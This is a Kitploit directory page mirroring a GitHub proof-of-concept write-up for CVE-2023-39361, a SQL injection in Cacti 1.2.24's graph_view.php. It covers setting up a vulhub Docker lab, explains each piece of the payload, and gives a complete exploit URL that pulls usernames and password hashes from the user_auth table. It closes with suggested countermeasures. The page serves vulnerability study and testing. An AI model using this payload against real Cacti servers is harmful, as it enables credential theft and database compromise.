Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-39361 — Proof-of-concept exploit for CVE-2023-39361, a SQL injection in Cacti graph_view.php leading to data exfiltration and potential RCE. | Kitploit
Tools/GitHubGitHub/chodeokcheol/cve-2023-39361
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubchodeokcheol/cve-2023-39361

CVE-2023-39361

Proof-of-concept exploit for CVE-2023-39361, a SQL injection in Cacti graph_view.php leading to data exfiltration and potential RCE.

View Repository
1 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Cacti graph_view.php SQL Injection Leads to RCE [CVE-2023-39361]

[ WHS 3rd ] - Nam Gichan_7342 (ChoDeokCheol)


Summary

  • A vulnerability exists in the grow_right_pane_tree function of the graph_view.php file in Cacti 1.2.24.
  • When the action parameter is set to tree_content, the user-supplied rfilter parameter is present.
  • The rfilter parameter is validated via the html_validate_tree_vars function, but that validation only checks whether it is a valid regular expression.
  • Finally, the value is inserted into an SQL query, allowing .
rfilter
code injection
  • Values such as id, username can be extracted (used in this PoC).

  • Prerequisites

    • Check whether Docker Compose is installed and its version via docker-compose -v.
    • Prepare the Docker components required for the CVE-2023-39361 setup (yml file, images, etc.).

    Environment Setup & Execution

    • Use vulhub's cacti/CVE-2023-39361/docker-compose.yml and entrypoint.sh.
    • Build the PoC environment via docker compose up -d (image: cacti:1.2.24).
    • Set up the Cacti server at localhost address 8080:80 as configured in the yml file. Docker PoC environment setup Cacti server setup

    Vulnerability PoC

    • This vulnerability occurs when the authentication settings allow even normal users (guests) to view graphs.

    • It can be confirmed by providing the following parameter input:

      • %20OR%20""="((" : A typical SQL injection code. It forces a true condition using OR.
      • %20UNION%20SELECT% : Retrieves arbitrary desired results.
      • (select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201) : Requests id#username#password values.
      • (select%20user()),(select%20version()) : Retrieves the database user / version.
      • %23 : Since this is #, the following SQL statement is neutralized.

    http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23


    Result

    Burp Suite execution and response It can be seen that the response was given as requested.


    Summary

    SQL injection attacks typically occur when user input is accepted during server interaction. This SQL injection attack compromised the confidentiality of the database and resulted in asset leakage.
    As a countermeasure against this SQL injection, basic whitelist validation of the rfilter value can be implemented, or special characters (", ', ;, ...) can be escaped. Alternatively, improvements such as using an ORM library like Doctrine for database access can be made.

    Download Tool